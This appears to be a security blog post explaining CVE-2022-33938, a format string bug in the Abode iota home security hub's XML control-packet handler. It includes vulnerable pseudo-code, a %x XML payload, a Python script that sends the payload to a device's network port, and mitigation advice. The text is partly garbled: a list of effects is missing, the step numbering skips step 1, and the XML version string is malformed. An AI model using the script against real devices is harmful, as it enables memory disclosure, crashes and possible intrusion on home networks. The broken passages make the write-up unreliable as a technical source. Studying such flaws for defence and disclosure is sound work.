It’s not every day that a security camera system in your home could help hackers break into your network, but that’s exactly what CVE-2022-33938 brings to light. In this post, we’ll dig into a format string injection bug found in Abode’s popular iota All-In-One Security Kit (model 6.9Z and 6.9X). We’ll explain what the vulnerability is, show you some code details, and walk through a simple example exploit. Whether you're a user, a pentester, or just security-curious, this is a story about how one misused function can undermine smart home security.

What is CVE-2022-33938?

In short, it’s a bug in how Abode’s iota hub processes certain messages it receives over the network. Specifically, the problem sits inside the ghome_process_control_packet function. If a hacker sends a specially crafted XML packet (called an XCMD) to the device, they can trigger a _format string injection_. This can cause the device to:

The Vulnerable Feature

In many IoT devices, messages are sent using proprietary protocols. In the Abode iota, commands come as XML payloads over the network using a feature named ghome_process_control_packet. Code inside this feature logs or prints messages using string formatting functions — without cleaning up user input.

Here’s a Simplified Pseudo-Code Example

int ghome_process_control_packet(char* xml_payload) {
    char buffer[512];
    // Parse out the 'command' node from XML - skipping actual parsing code
    
    char* command = extract_command_from_xml(xml_payload); // e.g., "<command>...</command>"
    
    // BUG: Uses command as format string!
    snprintf(buffer, sizeof(buffer), command);  
    
    // Later: does something with 'buffer'
}


Do you see the problem? If the XML’s <command> node contains format specifiers like %x %x %x, those are interpreted by snprintf(). That means the attacker can read memory contents, crash the program, or even control execution flow.

The attacker needs to send an XML packet to the device's network port. The payload might look like

<?xml version="1." encoding="UTF-8"?>
<XCMD>
    <command>%x%x%x%x%x</command>
</XCMD>


This packet is sent to wherever the iota system is listening (often local network, sometimes exposed remotely by misconfig).

2. Trigger the Vulnerability

Once the hub receives this, it parses out the <command> value and calls snprintf(buffer, sizeof(buffer), command); — that’s where %x gets expanded. Here, instead of printing the word "%x", the function dumps memory values into logs, syslog, or wherever output goes.

3. What Does the Attacker Get?

- Info Disclosure: Memory content such as stack data, pointers, or other sensitive values. If the attacker crafts the format string cleverly (%s, %n), even more is possible!
- Crash or Code Execution: Advanced attacks could overwrite memory with e.g., %n, leading to denial of service or even arbitrary code execution in some cases.

Python Example: Sending Malicious XML

You don’t need fancy tools; even a simple Python script can fire the exploit if you know the network port:

import socket

payload = b'''<?xml version="1." encoding="UTF-8"?>
<XCMD>
    <command>%x%x%x%x%x%x%x%x</command>
</XCMD>
'''

target_ip = '192.168.1.100'  # Replace with device IP
target_port = 5555           # Or actual listening port

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.sendall(payload)
sock.close()

When delivered, if logging is enabled, the attacker might see dumped memory values in logs or syslog, or the box might crash.


## Risk/Impact

Possible memory corruption chaining to remote code execution (RCE)

Real-World Scenarios: An attacker could map out your smart home network, or potentially pivot further if you use this device as a hub.

Update your Device: If Abode releases firmware fixes, apply them immediately.

- Network Segmentation: Place IoT devices on isolated networks/vLANs. Never expose the device directly to the internet.
- Monitor Logs: Watch for suspicious XML packets or logouts/stack dumps.

*Note:* At the time of writing, public exploits may exist, so patching and network defense are critical.

Original References

- CVE Details: CVE-2022-33938
- ZDI Advisory ZDI-22-942
- Abode iota Product Page

Final Thoughts

The story of CVE-2022-33938 is a warning for any Internet of Things manufacturer: Safely handle the user input, especially in devices that watch over our homes. For users: always isolate your smart home gear and keep it patched. A single format string bug may be all it takes for an attacker to let themselves in.

Stay safe!

*If you found this write-up helpful, consider sharing with friends who might use Abode products, and always stay updated on latest security news.*

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 16:12:00 UTC